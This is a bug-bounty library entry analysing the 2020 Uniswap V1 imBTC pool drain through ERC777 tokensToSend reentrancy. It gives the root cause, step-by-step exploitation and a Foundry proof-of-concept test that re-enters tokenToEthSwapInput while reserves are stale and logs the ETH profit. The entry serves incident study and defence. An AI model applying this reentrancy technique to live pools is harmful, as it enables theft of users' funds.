# Uniswap V1: ERC777 reentrancy drains imBTC pool

Uniswap V1's imBTC pool was drained via ERC777 tokensToSend reentrancy, letting an attacker re-enter tokenToEthSwapInput before reserves updated.

- Payout: Real-world hack
- Severity: high
- Program: UniSwapV1
- Analysis by: DeFiHackLabs
- Disclosed: 2020-04-18
- Write-up quality: 6/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2020-04/uniswap-erc777.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20200418-uniswap-erc777
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity technique:chained vuln:reentrancy

**Target:** Uniswap V1 ETH/imBTC exchange contract
**Root cause:** Uniswap V1 updates reserves after transferring ETH out; an ERC777 token's tokensToSend hook fires during the swap and re-enters tokenToEthSwapInput while the pool still reflects pre-swap reserves.
**Steps:**
1. Register this contract as ERC777TokensSender via IERC1820Registry.setInterfaceImplementer(address(this), keccak256("ERC777TokensSender"), address(this))
2. Call `uniswapv1.ethToTokenSwapInput{value: 1 ether}(1, max)` to obtain imBTC
3. Approve the Uniswap exchange: `imbtc.approve(address(uniswapv1), 10_000_000)`
4. Call `uniswapv1.tokenToEthSwapInput(823_084, 1, max)`; the imBTC transfer triggers tokensToSend
5. Inside tokensToSend, re-enter `uniswapv1.tokenToEthSwapInput(823_084, 1, max)` once (guarded by counter i<1) before the outer swap settles reserves
**Exploitation:** Attacker swaps 1 ETH for imBTC, approves the exchange, then calls tokenToEthSwapInput. The imBTC transfer invokes the attacker's tokensToSend hook, which re-enters tokenToEthSwapInput for the same amount while reserves are stale, extracting extra ETH from the pool.
**Insight:** Any Uniswap-V1-style constant-product pool listing an ERC777 (or hook-bearing) token is reentrancy-exposed because reserve updates lag the token transfer callback; check token hook interfaces (ERC777TokensSender/Recipient) before assuming a pool is safe.

## Proof of concept (copied exactly from the original report)

**Foundry PoC reentrancy exploit test**

```
function testExploit() public {
        IERC1820Registry _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
        _erc1820.setInterfaceImplementer(address(this), keccak256("ERC777TokensSender"), address(this));

        uniswapv1.ethToTokenSwapInput{value: 1 ether}(
            1, 115_792_089_237_316_195_423_570_985_008_687_907_853_269_984_665_640_564_039_457_584_007_913_129_639_935
        );

        uint256 beforeBalance = address(this).balance;

        imbtc.approve(address(uniswapv1), 10_000_000);
        uniswapv1.tokenToEthSwapInput(
            823_084,
            1,
            115_792_089_237_316_195_423_570_985_008_687_907_853_269_984_665_640_564_039_457_584_007_913_129_639_935
        );
        uint256 afterBalance = address(this).balance;
        emit log_named_decimal_uint("My ETH Profit", afterBalance - beforeBalance - 1 ether, 18);
    }
```

